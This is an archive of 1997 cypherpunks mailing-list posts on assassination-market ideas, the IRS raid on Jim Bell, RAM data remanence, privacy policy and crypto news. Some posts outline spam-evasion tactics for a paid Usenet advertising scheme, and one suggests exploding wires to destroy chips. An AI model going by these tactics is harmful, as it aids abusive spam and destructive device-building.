Cynthia said no, 15 times. And subsequently: Your Honour, I was just defending myself... > | Not that I'm a troublemaker... > > That's not what I'd call you. > > Sounds like a typical Toto evening out with a lady. Cynthia From ichudov at algebra.com Tue Apr 8 19:44:32 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 8 Apr 1997 19:44:32 -0700 (PDT) Subject: AP Revisited In-Reply-To: Message-ID: <199704090241.VAA06555@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > paul at fatmans.demon.co.uk writes: > > > Like Insurance? By purchasing insurance you are in effect > > > betting that you _will_ have an accident that does more damage than > > > you have paid in premiums. > > > > > > Really contorted huh? > > > > Hmm, I hadn`t thought of that, this is an interesting way to see AP: > > Taking out a life insurance policy on someone else... > > But of course - entities that sell insurance/write options refer to > their business as "making bets" and that's exactly what it is. > > By the way a lot of people in the finance industry are compulsive > gamblers who lose tremendous amounts of money on horses, sports > events, Atlantic City, etc. I have a feeling that thay also lose tremendous amounts of money in their finance jobs. The good news is that it is usually not their own money. - Igor. From snow at smoke.suba.com Tue Apr 8 20:26:47 1997 From: snow at smoke.suba.com (snow) Date: Tue, 8 Apr 1997 20:26:47 -0700 (PDT) Subject: Adam Back speaks out on AP / was: Jim Bell? Never heard of him. In-Reply-To: <8P0u5D91w165w@bwalk.dm.com> Message-ID: <199704090250.VAA02316@smoke.suba.com> > Adam Back writes: > > If a corporate can use it's wealth to influence other groups, for > > example by assasinating key employees of opposition company, it may > > well get richer as a result. > C2Net threatens its critics with lawsuits. Does it get richer as > a result of its barratrous behavior? Why don't you post those bugs/security holes you found? From toto at sk.sympatico.ca Tue Apr 8 20:38:54 1997 From: toto at sk.sympatico.ca (Toto) Date: Tue, 8 Apr 1997 20:38:54 -0700 (PDT) Subject: congressman wants review of online banking system In-Reply-To: Message-ID: <334B0CB1.543@sk.sympatico.ca> Robert Hettinga wrote: > House Banking Committee Chairman James Leach (R-Iowa) has > asked the General Accounting Office to review whether the > Federal Reserve has sufficiently protected its Fedwire > funds transfer and security transfer system from electronic > trespassing. > > Fedwire processes around 380,000 securities and funds > transfers totaling $1.6 trillion each day. I busted their code. Anyone need an extra 'trill'? -- Toto "The Xenix Chainsaw Massacre" http://bureau42.base.org/public/xenix/xenbody.html From die at pig.die.com Tue Apr 8 20:41:34 1997 From: die at pig.die.com (Dave Emery) Date: Tue, 8 Apr 1997 20:41:34 -0700 (PDT) Subject: Black box attacks (was Re: Crypto-Dongel) Message-ID: <199704090341.XAA09733@pig.die.com> Lucky Green wrote : > It is true that methods exist to recover data from RAM even after it has > been "erased". First and foremost, there are physical processes taking > place in the substrate that cause permanent changes in the cells containing > the data. In general, if there is a chip left to analyze, the data that > used to be stored within can be obtained. [The particular opponent may of > course choose not to spend the funds required to perform the analysis.] > > The only way to reliably remove data from RAM is to destroy the substrate. > I recently investigated various methods of doing so for a certain high > security application. My research showed that the only portable (and truly > reliable) solution for this task are micro explosives. Perhaps > unsurprisingly, the US uses explosives to protect the electronics in > nuclear weapons. The local ATF office informed me that any device using > explosives to destroy its contents would be considered a booby trap, even > if the explosion would be contained to the inside of device and therefore > not pose a danger to the operator. > I have heard about thermite devices being used for this in the sort of applications that might warrent it. Granted that this is a royal fire hazard unless very carefully engineered, but at least it is not an explosive per se.... One can reduce this effect somewhat by implementing software or hardware methods that complement the key or whatever you are protecting every few seconds. But I can testify, as someone who has done hardware design, that the memory effect is real and very pronounced... not a myth. Dave Emery die at die.com From frantz at netcom.com Tue Apr 8 21:22:54 1997 From: frantz at netcom.com (Bill Frantz) Date: Tue, 8 Apr 1997 21:22:54 -0700 (PDT) Subject: some arguments for privacy In-Reply-To: Message-ID: At 1:15 AM -0800 4/8/97, Wei Dai gave some arguments pro and con privacy: >Privacy as Restriction on Signaling > >.... Consider a possible future where every >room in every house is wired with a camera that continously broadcasts to >the Internet. Life would certainly be very uncomfortable in this future, >as every trivial action must be carefully considered in order to preserve >one's reputation. Or peoples expectation about the range of private behavior will change to be more in line with the reality. Those whose behavior is 5 standard deviations away from the norm will be screwed. >Possible Benefit of Non-Privacy Limited > >This is more of an argument for privacy technology, rather than privacy >per se. Suppose that privacy-invading technology becomes much cheaper >than privacy-enhancing technology. Given the arguments above it seems >inevitible that governments will pass laws to restrict the distribution of >certain kinds of information about individuals. But of course this will >not keep the information out of the hands of those governments themselves >and other resourceful organizations. Such laws will support monopoly use of personal information, and as such be very unlikely to contribute to the good of society. At CFP '97, David Brin gave a lunch talk where he argued against privacy and in favor of accountability. The example he used was the cop and the driver, both with the secure recording TV cameras on their shoulders. Of course the crypto-anarchist view is you can use any information you can get, and I can use strong privacy technologies to keep you from getting it. ------------------------------------------------------------------------- Bill Frantz | God could make the world | Periwinkle -- Consulting (408)356-8506 | in six days because he did | 16345 Englewood Ave. frantz at netcom.com | not have an installed base.| Los Gatos, CA 95032, USA From dlv at bwalk.dm.com Tue Apr 8 21:30:35 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 21:30:35 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <199704082129.QAA03372@manifold.algebra.com> Message-ID: > Another problem: what would prevent an anti-spam zealot from posting > the following: > > From: antispammer at usenet.cabal.com > Newsgroups: rec.sports.phishing,alt.fan.alice > Message-ID: <123 at bob.server> > > > -- > Alice's ID# 123456 Drink Kaka Kola -- Kaka Cola is full of shit, > do not drink it, I am just collecting $$ from > stupid Alice, Hahaha!!! Yes, Bob could post something like "drink kaka cola and die" and "elect John M Gubor Sheriff if you want to be arrested". Hopefully, most Bob's won't. I guess the solution is for Alice's clients to pick regexps such that _any_ publicity is good publicity - such as a URL or a 900 number. If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-) > remember though that it will not be hard to modify newsreader clients to > automatically killfile all articles matching Alice's regexps, or even to > grab them automatically from her website. So Alice may discover that her > business is not as effective. Killfiles? So many scumbags whine about their inability to use them, so they try to silence whomever they don't like. Yes, if Alice just posts her regexps on a public Web page, a clueful person can automatically fetch them and add them to his killfile or even forge cancels for Bobs' articles that contain them. I think this would be a stupid thing to do because Bobs' articles may contain useful information besides Alice's ad. Also the regexp might occur in a followup to Bob's article, which may contain useful information. But of course a reader is welcome to cut off his own nose to spite and face and to killfile anything he likes - as long as he doesn't prevent others from reading what they feel like reading. Alice can try to keep her list of regexp's "confidential" and only give it out to Bobs that are the prospective posters. I don't think this would work. Someone would pose as a potential agent, obtain the list of regexps, and post it (perhaps via an anonymous remailer). So Alice might as well make it public. Another possible candidate for killfile trigger is the "Alice ID". Alice can make it harder by not using one (as I originally proposed) but instead by recognizing the address "From:" header. > marketing with e-cash. Suppose Alice runs an advertizing agency and gets > paid to publicize certain messages of commercial or political nature. > > She sets up a Web page listing the catalog of regexps that she wishes to > publicize. Something like: > > 1. Visit.*teens.*http://www.xxxfoo.bar > 2. Elect.*John M. Grubor.*sheriff > 4. For a drooling good time.*900-555-5555 > 3. Drink Kaka Cola > > and a price list for each regexp - say, $2 for posting this regexp in a > moderated newsgroup, 50c for the Big 8, 25c for alt and regionals. I'm > not sure if cross-posts should be discounted. Assuming there are several > such Alices, the prices will be set by supply and demand. Alice doesn't want to pay Bob for posting in alt.i.just.made.this.up. Therefore Alice should provide the explicit list of newsgroups that she monitors and for which she pays. > Suppose Bob, in search of a few quick bucks, comes across Alice's site. > We'd have to think of a protocol, but Alice assigns Bob an id which he > must mention together with the regexps in order to get credit. Alice and > Bob enter a contract. Bob puts one or more of Alice's regexps in his > Usenet articles - most likely in the .signature. For example: > > From: bob > Newsgroups: rec.sports.phishing,alt.fan.alice > Message-ID: <123 at bob.server> > > -- > Elect John M. Grubor sheriff!!! Alice's ID# 123456 > I am Bob! I am Bob! I am Bob the Poster! Drink Kaka Kola On the second thought, Alice may not need a prior contract with Bob, nor the ID#. She can just list the regexps she's trying to promote on her web page and go promiscuously by the address in the From: header. > Alice's bot searches the Usenet feed (like K*bo and S*rd*r) for the > regexps that she is paid to promote. When she encounters Bob's article, > it extracts Bob's ID and the Message-Id, counts the distinct regexps, and > the newsgroups, and credits Bob's account. > > If Carol follows up on Bob's article and quotes Bob's regexps and ID#, > then Bob gets paid again. If somehow an article contains the ID# of two > or more of Alice's agents, they split the fee. And if we forego the ID# and just look at the From: header then it's simpler: if Carol quotes Bob's article and includes a regexp, then Carol gets an e-mail from Alice with some e-cash, perhaps sent via an anonymous remailer. One problem is that a lot of people put fake addresses in the from: fields. Why waste good e-cash on e-mail to addresses that bounce? What Alice could do is send an e-mail like "Your article with message-id blah posted to blah contains a message that I'm paying to promote. Here is a cookie; if you return this cookie, I'll send you $n e-cash." If it bounces, or if the recipient never sends back the cookie - too bad. > Alice's contract can also specify that if a third party forges a cancel > within a week for Bob's Usenet article containing the regexp, then Alice > will pay nothing and let Bob sue the forger for the lost income. (This > may become moot as more and more ISPs ignore forged cancels.) This gives > Bob the insentive to spam intelligently - not to trigger any cancelbots > and not to have his plug pulled by his ISP. After Alice's bot finds an eligible Usenet article, it should wait a week or so to see if it was cancelled or superseded before issuing a payment. If it's cancelled, then instead of payment it should send a notice saying: "Your article with message-id blah posted to blah contains a message that I'm paying to promote. I would have paid you $n e-cash, but unfortunately a cancel has been issued for your article: " That should get Bob pretty mad at the 3rd party canceller. :-) > Alice can also put some reasonable caps on the number of repetitions > because if Bob posts the same regexp 10,000 times, the marginal exposure > is less from Bob than from a newbie Carol. Again, if there are several > such Alices, the market will take care of negotiating such details. Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts; when it reaches 100, stop paying this poster. I think 100 mentions by the same poster is way past saturation. Ross: yes, unfortunately the spambot is on the back burner right now, but I definitely will finish it eventually. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From rwright at adnetsol.com Tue Apr 8 22:06:55 1997 From: rwright at adnetsol.com (Ross Wright) Date: Tue, 8 Apr 1997 22:06:55 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? Message-ID: <199704090507.WAA27588@adnetsol.adnetsol.com> On or About 8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote: On or About 8 Apr 97 at 21:05, I think it was Igor who wrote: > > will pay nothing and let Bob sue the forger for the lost income. > > (This may become moot as more and more ISPs ignore forged > > cancels.) This gives Bob the insentive to spam intelligently - not > > to trigger any cancelbots and not to have his plug pulled by his > > ISP. Right, but this is where a tool comes in that lets you post a seemingly "on topic" post to hundreds of newsgroups with the "Drink Kaka Kola, Elect John, etc." in the sig file. This also makes it harder for an article to be canceled, I imagine. Or you can do it by hand. I am sure that in a 40 hour week I could post seemingly "On-Topic" to many newsgroups. Hell, I'm doing this on a minor scale right now. Bob just needs to be *really* smart. And if he has a good relaitionship with his small, local ISP, then he can proceed as normal. Hell, I never get complaints anymore. Yet, every time I post I advertise my company. Then: On or About 8 Apr 97 at 21:05, Dr.Dimitri Vulis KOTM wrote: > After Alice's bot finds an eligible Usenet article, it should wait a > week or so to see if it was cancelled or superseded before issuing a > payment. If it's cancelled, then instead of payment it should send a > notice saying: > "Your article with message-id blah posted to blah contains > a message that I'm paying to promote. I would have paid > you $n e-cash, but unfortunately a cancel has been issued > for your article: " > That should get Bob pretty mad at the 3rd party canceller. :-) Boy, I would be pissed off if I was Bob. This is definitely the scary end of the internet. Most people will never even know about this rash of first amendment violations, that you are calling "forged cancels" and "plug pulling". I am so glad I fell into these groups when I joined the net just about 20 months ago. Funny thing is, it's right where I belong. I always speak my mind and have been known as a trouble maker in the workplace. > Alice needs to maintain a map of (poster,newsgroup,regexp) to # > posts; when it reaches 100, stop paying this poster. I think 100 > mentions by the same poster is way past saturation. > > Ross: yes, unfortunately the spambot is on the back burner right > now, but I definitely will finish it eventually. Well, it seems to me that this is where this conversation is leading. The technology you are talking about here, without talking about it, is quite exciting to me. I'll be reading. Still looking for HP Vectra RS input, Ross =-=-=-=-=-=- Ross Wright King Media: Bulk Sales of Software Media and Duplication Services http://www.slip.net/~cdr/kingmedia Voice: 415-206-9906 From ichudov at algebra.com Tue Apr 8 22:11:29 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 8 Apr 1997 22:11:29 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: Message-ID: <199704090509.AAA08271@manifold.algebra.com> Dr.Dimitri Vulis KOTM wrote: > > Another problem: what would prevent an anti-spam zealot from posting > > the following: > > > > From: antispammer at usenet.cabal.com > > Newsgroups: rec.sports.phishing,alt.fan.alice > > Message-ID: <123 at bob.server> > > > > > > -- > > Alice's ID# 123456 Drink Kaka Kola -- Kaka Cola is full of shit, > > do not drink it, I am just collecting $$ from > > stupid Alice, Hahaha!!! > > Yes, Bob could post something like "drink kaka cola and die" and > "elect John M Gubor Sheriff if you want to be arrested". > Hopefully, most Bob's won't. That's questionable at best. Also, there can be so much ingenuity in making the ads appear unreadable, that it would be hard to watch who is good and who is bad. For example, how about this signature that purports to advertise http://www.kaka-kola.com: ^L^L^L ----------------------------------------------------------------------- = please ignore contents of this sig -- skdjhgf asdgf -- == = http://www.devnull.com http://acd http://www.www.www http://www.kaka-kola.com http://xxx == == this sig intentionally made unreadable to cheat alice == ----------------------------------------------------------------------- > I guess the solution is for Alice's clients to pick regexps such > that _any_ publicity is good publicity - such as a URL or a 900 number. > If the regexp is "John Gilmore is a cocksucker", what can Bob add to it? :-) See above > > remember though that it will not be hard to modify newsreader clients to > > automatically killfile all articles matching Alice's regexps, or even to > > grab them automatically from her website. So Alice may discover that her > > business is not as effective. > > Killfiles? So many scumbags whine about their inability to use them, > so they try to silence whomever they don't like. > Yes, if Alice just posts her regexps on a public Web page, a clueful > person can automatically fetch them and add them to his killfile or > even forge cancels for Bobs' articles that contain them. > I think this would be a stupid thing to do because Bobs' articles > may contain useful information besides Alice's ad. Also the regexp > might occur in a followup to Bob's article, which may contain > useful information. Well, one can modify newsreaders to delete only lines that match the regexps, but show other parts of the article. That may be one of the pieces of functionailty of libkillfile.so that I once mentioned. > Alice can try to keep her list of regexp's "confidential" and only > give it out to Bobs that are the prospective posters. I don't think > this would work. Someone would pose as a potential agent, obtain > the list of regexps, and post it (perhaps via an anonymous remailer). > So Alice might as well make it public. Agree. > Another possible candidate for killfile trigger is the "Alice ID". > Alice can make it harder by not using one (as I originally proposed) > but instead by recognizing the address "From:" header. Another thing Alice can do is to make Bob post an encrypted ID, such that each time it is encrypted with a separate "session" key. The keys do not have to be that long. Instead of ID Bob can encrypt the address to send the money to, and possibly his public key. That generally adds robustness to the system, since there would be no known person to complain about. Bob can also ask Alice to generate a lot of IDs for him -- like 1000 or so -- to use them later. Alice would have to keep a database of ID <---> email address correspondence. Alice can set up an autoresponder bot getid at alice.com that would generate IDs and send them back to requestors. > On the second thought, Alice may not need a prior contract with Bob, > nor the ID#. She can just list the regexps she's trying to promote > on her web page and go promiscuously by the address in the From: header. > > And if we forego the ID# and just look at the From: header then it's > simpler: if Carol quotes Bob's article and includes a regexp, then Carol > gets an e-mail from Alice with some e-cash, perhaps sent via an > anonymous remailer. > > One problem is that a lot of people put fake addresses in the from: > fields. Why waste good e-cash on e-mail to addresses that bounce? See above. > What Alice could do is send an e-mail like > "Your article with message-id blah posted to blah contains > a message that I'm paying to promote. Here is a cookie; > if you return this cookie, I'll send you $n e-cash." > If it bounces, or if the recipient never sends back the cookie - too bad. If it bounces, Alice would usually get the money back in the bounce message. Can't alice put a stop on a piece of digital cash? I am not sure, but it may be possible. It is surely possible with adding one more trusted party, and some more signing and encryption, anyway. > > Alice's contract can also specify that if a third party forges a cancel > > within a week for Bob's Usenet article containing the regexp, then Alice > > will pay nothing and let Bob sue the forger for the lost income. (This > > may become moot as more and more ISPs ignore forged cancels.) This gives > > Bob the insentive to spam intelligently - not to trigger any cancelbots > > and not to have his plug pulled by his ISP. > > After Alice's bot finds an eligible Usenet article, it should wait > a week or so to see if it was cancelled or superseded before issuing a > payment. If it's cancelled, then instead of payment it should send > a notice saying: > "Your article with message-id blah posted to blah contains > a message that I'm paying to promote. I would have paid > you $n e-cash, but unfortunately a cancel has been issued > for your article: " > That should get Bob pretty mad at the 3rd party canceller. :-) Alice can then cheat and issue the cancels herself. Since most spammers are crooks, I expect that to happen a lot. No good. > > Alice can also put some reasonable caps on the number of repetitions > > because if Bob posts the same regexp 10,000 times, the marginal exposure > > is less from Bob than from a newbie Carol. Again, if there are several > > such Alices, the market will take care of negotiating such details. > > Alice needs to maintain a map of (poster,newsgroup,regexp) to # posts; > when it reaches 100, stop paying this poster. I think 100 mentions by > the same poster is way past saturation. I can generate a gazillion posters from algebra.com. Of course, Alice can also introduce per-domain restrictions. - Igor. From rlpowell at calum.csclub.uwaterloo.ca Tue Apr 8 23:22:09 1997 From: rlpowell at calum.csclub.uwaterloo.ca (Robin Lee Powell) Date: Tue, 8 Apr 1997 23:22:09 -0700 (PDT) Subject: IRS raids a cypherpunk In-Reply-To: Message-ID: The followiing is an article that didn't even brng a hiccup to cypherpunks. WHERE IS EVERYBODY?? -Robin, sniff :-( In article Declan McCullagh writes: Path: news.csclub.uwaterloo.ca!not-for-mail From: Declan McCullagh Newsgroups: csc.lists.coderpunks Date: 3 Apr 1997 23:41:04 -0500 Organization: University of Waterloo Computer Science Club Lines: 79 Sender: daemon at calum.csclub.uwaterloo.ca Approved: mail2news at csclub.uwaterloo.ca Distribution: csc NNTP-Posting-Host: calum.csclub.uwaterloo.ca Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Sender: declan at mail.pathfinder.com Precedence: bulk Xref: news.csclub.uwaterloo.ca csc.lists.coderpunks:1207 [I've attached some excerpts from the article. Check out the URL below for the whole thing. --Declan] ******** http://cgi.pathfinder.com/netly/editorial/0,1012,800,00.html The Netly News Network April 3, 1997 IRS raids a cypherpunk by Declan McCullagh (declan at well.com) Jim Bell's first mistake was publishing an essay describing how disgruntled citizens could kill off Federal government agents by using anonymous betting pools and digital cash. His second mistake was informing the IRS that the agency had no legal authority to tax him. About twenty armed IRS agents and other Federal police swarmed into Bell's home in Washington state on Tuesday morning, hunting for evidence that Bell's "Assassination Politics" essay had come to fruition. They expropriated Bell's three computer systems, two guns and even a solitary mouse cable. The Feds were taking no chances: Since Bell's voluminous Net postings mentioned tax collectors, agents from the BATF, FBI, DEA, and local police forces joined the raid. [...] The raid stemmed from a six-month tussle between Bell and the IRS, which began in November 1996 when the 38-year old computer engineer demanded a hefty tax refund and threatened to convene his own "common-law court" if it was refused. That grabbed the Feds' attention. (So did the actions of the "Multnomah County Common Law Court," which apparently met in January to convict IRS agents and Attorney General Janet Reno of "theft by deception.") In February, IRS agents seized Bell's 1986 Honda as payment for back taxes -- and found inside it a printout of his "Assassination Politics" essay. " [...] And it was, ultimately, a Federal magistrate who signed the search warrant on 9:02 am on March 28 at the request of the IRS. Jeffrey Gordon, an inspector in the IRS' Internal Security Division, details in an 10-page affidavit how he traced Bell's use of allegedly fraudulent Social Security Numbers, how he learned that Bell had been arrested in 1989 for "manufacturing a controlled substance," how he found out that Bell possessed the home addresses of a handful of IRS agents. Gordon's conclusion: Bell planned "to overthrow the government." The IRS investigator says in his affidavit that Bell's "essay details an illegal scheme by Bell which involves plans to assassinate IRS and other government officals... I believe that Bell has begun taking steps to carry out his Assassination Politics plan." [...] ------------------------- Time Inc. The Netly News Network Washington Correspondent http://netlynews.com/ From stewarts at ix.netcom.com Tue Apr 8 23:42:09 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Tue, 8 Apr 1997 23:42:09 -0700 (PDT) Subject: Another Article on Jim Bell from the Oregano In-Reply-To: <3.0.1.32.19970404195432.03028840@mail.teleport.com> Message-ID: <3.0.1.32.19970408170547.0063b688@popd.ix.netcom.com> At 10:18 AM 4/5/97 -0800, you wrote: >As for the "drug conviction", he was nailed for possession of phenyl acetic >acid in 1989. The government tried to prove that he was trying to manufacture >meth, but was unable and Jim pleaded guilty to a lesser charge. >(Of course, >what are prohibited molecules and non-prohibited molecules is an ever >changing maze. It is pretty hard to keep track of what is "legal" and >"illegal" in that area. Seems to be "whatever we say it is". It's actually quite straightforward - it all depends on the intent of the molecules being arrested. If they're just loitering around, it's not illegal, but if they're loitering with intent to commit public intoxication, or conspiring to form an illegal syndicate, you may be in big trouble.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From shadow at count04.mry.scruznet.com Tue Apr 8 23:50:44 1997 From: shadow at count04.mry.scruznet.com (shadow at count04.mry.scruznet.com) Date: Tue, 8 Apr 1997 23:50:44 -0700 (PDT) Subject: on micro-explosions was Re: Black box attacks (was Re: Crypto-Dongel) In-Reply-To: <199704090341.XAA09733@pig.die.com> Message-ID: <199704090646.XAA11517@count04.mry.scruznet.com> instead of minute quantities of explosives one could use extremely fine wires suspended a small distance from the substrate to be destroyed. Feed a short(below 3 ms) high current pulse(figure a 400w/s photoflash supply) the wavefront from the exploding wire will be in the supersonic region. this method may be used in lieu of explosives to achieve the effect of a high order detonation. gee wonder if the atf will forbid us capacitors and wires now :) cheers From tan at mss.es Wed Apr 9 01:27:38 1997 From: tan at mss.es (Sebastia Lancho) Date: Wed, 9 Apr 1997 01:27:38 -0700 (PDT) Subject: new ,CRIPT password Message-ID: <3.0.1.32.19970409102810.00693c70@194.224.252.15> Hi ! I'm Sebastian from Barcelona. I'm new on internet. I'm a developer.In my first project I did a homebanking but I don't know how cript the password of the users. If somebody has a little C function that can do this please send me! and report me information! many thanks Sebastian tan at mss.es From harka at nycmetro.com Wed Apr 9 01:36:53 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 9 Apr 1997 01:36:53 -0700 (PDT) Subject: Sweden Netscape Intra Message-ID: -----BEGIN PGP SIGNED MESSAGE----- -=> Quoting In:tcmay at got.net to Harka <=- In> The Swedish plan is something to be avoided. Consider just a few In> quotes: Actually, I was just flying over the text before forwarding it. But after reading it in depth, I agree with you. In> The government gives out the mailboxes. Wanna bet they give out the In> keys, too? Not only that but it would create the e-mail monopoly, that would be the destruction of the de-centralized nature of the Internet (e-mail being part of it). Just imagine, how easy it would be to have a few well publicized cases of remailer-abuse and the Swedish Postal Office therefore decides to automatically block all mail coming from (and maybe even to) remailers. With the majority of people having no clue about remailers in the first place (except what the press will feed them) the protest will be small enough to be ignored. That could even be extended to crypto, as you indicate. If Sweden ever outlaws cryptography, the monopoly would provide a perfect setting of enforcing such (with the few exceptions of where stego is used). The same applies to content and traceability of e-mails. In> (Yes, I understand that the system is being presented as "voluntary." In> For how long? And what happens to non-PTT ISPs when the PTT is a state In> monopoly? (Imagine what would happen if the U.S. Postal Service made a In> deal wherein AOL became the favored provider.) Market-driven "voluntary" measurements tend to be rather forced upon people than anything else. If something is standard then you'll have to use it because most other people do too. That is the danger with monopolies of any kind. This, I am afraid, will happen with crypto-issues in the US itself. I am almost certain, that Windows 97 will adress cryptography in one way or the other. If they put in means to encrypt e-mails for example right from the operating system and independent of the provider, then this would be the death-blow to PGP. And considering the talk about "key-management-infrastructure", then this will be probably the best means to achieve it. In fact, it might not even be a GAK-enabled system, but one that's easy to crack (propriatory algorithm or whatever). The civil-liberty groups have no GAK-issue to talk about anymore and few will understand, why "security through obscurity" is not good. The majority however, who doesn't care anyway much about crypto, will use that slick Windows interface and not worry any further. That would be cause for celebration at the TLA's and the end to wide-spread strong crypto. Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM0oCzzltEBIEF0MBAQEf4gf/ZINVtWwqyIzYXbi7uDxmTKCdfMS1Xujj /AlYGsmjUeh7UduN2q8YmRqzfuUhA6SNOaT0La+QuqzIOImmY3MfbH9tWc+xWqNQ 4cUC/aPFAl/7SxbXA4lsL4QD8Vnf3Tf2bxt5XUC7TO6lfEW91hblnz1WV2OVimgt pBGhv8b0td+CIAPnGd8WoscbH1NtgZMz+bLaF9zTl22KZerd8tfUbDhPQjWHOzgv Ck0mXTuOPpRXYTO+U9tua1U/Nz2dJN/+VXJO3nUfJOJ8C5eAHimji+IbsoWt1jur O27KvFuIhPtDaQIenv62G8ClmVxvd+XzIJ+43XnEU4r3PmFHgDJLjg== =wREG -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From harka at nycmetro.com Wed Apr 9 01:37:12 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 9 Apr 1997 01:37:12 -0700 (PDT) Subject: Cipher newsletter Message-ID: -----BEGIN PGP SIGNED MESSAGE----- == Forwarded Message Follows ========================================= Vance Bell wrote: From: vbell at dept.english.upenn.edu (Vance Bell) Subject: Cipher Date: Sun, 6 Apr 1997 16:46:08 -0400 (EDT) Cipher http://www.itd.nrl.navy.mil/ITD/5540/ieee/cipher/ Cipher is the electronic newsletter of the Technical Committee on Security and Privacy, IEEE featuring Security and Privacy News Briefs, Conference Reports, Commentary and Opinion on computer security and privacy issues. Recent articles: Security and Privacy News Briefs * LISTWATCH: Items from security-related mailing lists by Mary * UK Policy on Licensing TTPs Proposed, Criticised * Two New Sources of Random Numbers * Attack Reports and Responses * U.S. Computer Security Breach During Desert Shield? * New IETF Working Group Formed to Standardize SSH * News items from past Cipher issues Conference Reports * Report on 1st Annual Workshop on Education in Computer Security (WECS '97) * Report on ISOC Symposium on Network and Distributed System Security '97 Commentary and Opinion * Practical Experimentation in Information Security Education (A brief report from a survey) *Summary of Comments on "A Serious Problem for Key Escrow Systems?" Contact: Carl Landwehr, landwehr at itd.nrl.navy.mil - ------------------------------ == End Forwarded Message ============================================== Ciao Harka /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. 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From harka at nycmetro.com Wed Apr 9 01:37:38 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Wed, 9 Apr 1997 01:37:38 -0700 (PDT) Subject: EPIC Alert 4.05 Message-ID: == Forwarded Message Follows ========================================= * Originally By: In:epic-news at epic.org * Originally Re: EPIC Alert 4.05 * Original Date: 04-08-97 18:08 ============================================================== @@@@ @@@@ @@@ @@@@ @ @ @@@@ @@@@ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @@@ @ @ @@@@@ @ @@@ @@@ @ @ @ @ @ @ @ @ @ @ @ @ @@@@ @ @@@ @@@@ @ @ @@@@ @@@@ @ @ @ ============================================================== Volume 4.05 April 8, 1997 -------------------------------------------------------------- Published by the Electronic Privacy Information Center (EPIC) Washington, D.C. http://www.epic.org/ ======================================================================= Table of Contents ======================================================================= [1] OECD Releases Crypto Guidelines [2] White House Floats Draft Crypto Bill [3] FAA Calls for Collecting SSNs of all Air Travelers [4] Groups Urge IETF to Fix Cookies [5] National Research Council Reports on Privacy of Medical Systems [6] FTC To Conduct Hearings on Privacy, Investigate Databases [7] NTIA Files Comments on Privacy of Telephone Calling Information [8] Upcoming Conferences and Events ======================================================================= [1] OECD Releases Crypto Guidelines ======================================================================= The Organization for Economic Cooperation and Development (OECD), a 29 country international organization, released on March 27 its long anticipated Guidelines for Cryptography Policy. The Guidelines are intended to promote the use of cryptography, to develop electronic commerce through a variety of commercial applications, to bolster user confidence in networks, and to provide for data security and privacy protection. The Cryptography Policy Guidelines are a non-binding agreement that identifies the basic issues that countries should consider in drawing up cryptography policies at the national and international level. The Recommendation culminates one year of intensive talks to draft the Guidelines. They are designed to assist decision-makers in the public and private sectors in developing and implementing coherent national and international policies for the effective use of cryptography. Member countries are encouraged to establish new, or amend existing, policies to reflect them. The Guidelines set out eight basic Principles for cryptography policy in the areas of trust, user choice, market development, technical standards, privacy, lawful access, liability and international cooperation. The key recommendations of the OECD include: -- Recognition of commercial importance of cryptography. The Guidelines recognize that cryptography is an effective tool for the secure use of information technology by ensuring confidentiality, integrity and availability of data and providing authentication and non-repudiation mechanisms. -- Rejection of key escrow encryption. The U.S. sought endorsement for government access to private keys. Initial drafts of the guidelines included this recommendation. The final draft does not. OECD countries rejected this approach. -- Endorsement of voluntary, market-driven development of crypto products. The OECD emphasized open, competitive markets to promote trade and commerce in new cryptographic methods. -- Need for critical assessment of key escrow. The OECD Guidelines recommend that countries which are considering key escrow techniques to consider also "the risks of misuse, the additional expense of any supporting infrastructure, the prospects of technical failure, and other costs." -- Endorsement of strong privacy safeguards. The OECD adopted one of strongest privacy principles found in any international agreement, including the obligation to apply the OECD privacy principles to crypto products and services. The OECD also noted favorably the development of anonymous payment schemes which would minimize the collection of personal data. -- Removal of Restrictions on Cryptography. The OECD urged member countries to remove, and avoid creating, obstacles to trade based on cryptography policy. This guideline should lead to further liberalization of export control policies among the OECD member countries. Drafting of the Guidelines for Cryptography Policy began in early 1996. More than 100 representatives from OECD Member countries participated, including government officials from commerce, industry, telecommunications and foreign ministries, law enforcement and security agencies, privacy and data protection commissions, as well as representatives of private sector and privacy advocates. The Global Internet Liberty Campaign (http://www.gilc.org/), an international coalition of civil liberties and human rights organizations, 